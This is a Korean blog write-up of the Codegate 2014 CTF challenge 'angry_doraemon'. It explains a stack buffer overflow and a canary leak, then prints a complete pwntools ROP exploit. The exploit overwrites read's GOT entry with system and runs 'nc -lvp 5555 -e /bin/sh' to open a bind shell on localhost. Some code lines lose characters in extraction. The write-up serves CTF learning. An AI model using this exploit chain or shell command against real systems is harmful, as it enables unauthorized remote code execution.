본문 바로가기

CTF

[Codegate 2014] angry_doraemon

메인함수 보면 소켓통신하는데 포트가 8888인걸 알 수있다.


- Attack menu -

 1.Sword

 2.Screwdriver

 3.Red-bean bread

 4.Throw mouse

 5.Fist attack

 6.Give up

메뉴는 다음과 같다.

1번 메뉴를 보면 execl("/bin/sh") 함수가 존재하고

5번 메뉴에서 buf()가 있는걸 보고 해당 주소로 가게끔 하면 안되나 싶었는데 BYTE3(buf) != 8..

즉 코드영역(0x08로 시작하는 주소)을 못덮게 막아놔서 이 부분은 fake라고 생각했다.

천천히 살펴보면 4번 메뉴에 취약점이 있다.


해당 함수에서 카나리가 릭이 가능한데 일단 스택 구조를 먼저 살펴보면 아래와 같다.

buf[10] + canary[4] + dummy[8] + sfp[4] + ret[4]

buf 크기는 10인데 read에선 110까지 입력받는다. 즉 오버플로우 발생

여기서 잠깐 해맸는데 buf에 y*9 넣고 엔터를 눌러 총 y*9 + '\x0a' == 10byte 값을 넣어주면 sprintf에서 canary 값이 추출될거라고 생각했다. (sprintf는 NULL('\x00')을 만날때까지 출력)

하지만 입력했던 문자열만 계속 출력되고 카나리 값이 보이지 않았다.

11개 입력하면 카나리 값이 추출되긴하지만 canary 1byte값이 짤린다.

그 이유를 곰곰히 생각해봤는데 canary의 마지막 byte가 0x00 이면 설명이 된다.. (sprintf 특징때문)

즉 카나리는 0x??????00 이 된다.  카나리를 덮을 수 있으니 이제 익스코드 짜면 된다.


[Exploit]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from time import *
 
= remote('localhost'8888)
= ELF('./angry_doraemon')
 
#garget
bss = e.bss()
pppr = 0x80495bd
offset = 0x9ad50 #read-system
write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']
cmd = 'nc -lvp 5555 -e /bin/sh\x00'
 
#canary leak
p.sendlineafter('>''4')
p.sendlineafter('(y/n) ''y'*10)
p.recvuntil('y'*10 + '\x0a')
canary = u32("\x00" + p.recv(3))
print 'canary = ' + hex(canary)
p.close()
 
###################################################
= remote('localhost'8888)
p.sendlineafter('>''4')
 
#rop start
payload = ''
payload += "A"*10
payload += p32(canary)
payload += "A"*12
 
#"/bin/sh"+"\x00" -> bss
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(cmd)+1)
 
#read leak
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(4)
payload += p32(read_got)
payload += p32(4)
 
#read_got -> system
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(4)
payload += p32(read_got)
payload += p32(4)
 
#system /bin/sh
payload += p32(read_plt)
payload += "AAAA"
payload += p32(bss)
 
p.sendlineafter('(y/n) ', payload)
sleep(1)
p.sendline(cmd)
read = u32(p.recv(4))
print 'read = ' + hex(read)
print 'system = ' + hex(read - offset)
p.sendline(p32(read - offset)) 
 
print 'nc localhost 5555'
cs


해당 문제를 풀기위해 터미널 2개를 키고 진행했다.

일단 첫번째로 txt파일 4개 만들어준다음 프로세스 파일 실행시켜준다.

그 다음 다른 터미널창으로 가서 익스코드 실행시켜준다

다시 첫번째 터미널로가서 보면 짜잔하고 포트 5555가 정상적으로 켜졌음을 알린다.

nc로 익스코드에서 열었던 포트 5555로 접속하여 쉘이 따진걸 확인할 수 있다.

'CTF' 카테고리의 다른 글

[Codegate 2016] watermelon  (0) 2018.02.23
[Codegate 2014] nuclear  (0) 2018.02.23
[Plaid 2013] ropasaurusrex  (0) 2018.02.18
[Codegate 2018] Welcome to droid  (0) 2018.02.09
[Nuit Du Hack 2017] Matriochka Step 2  (0) 2018.02.08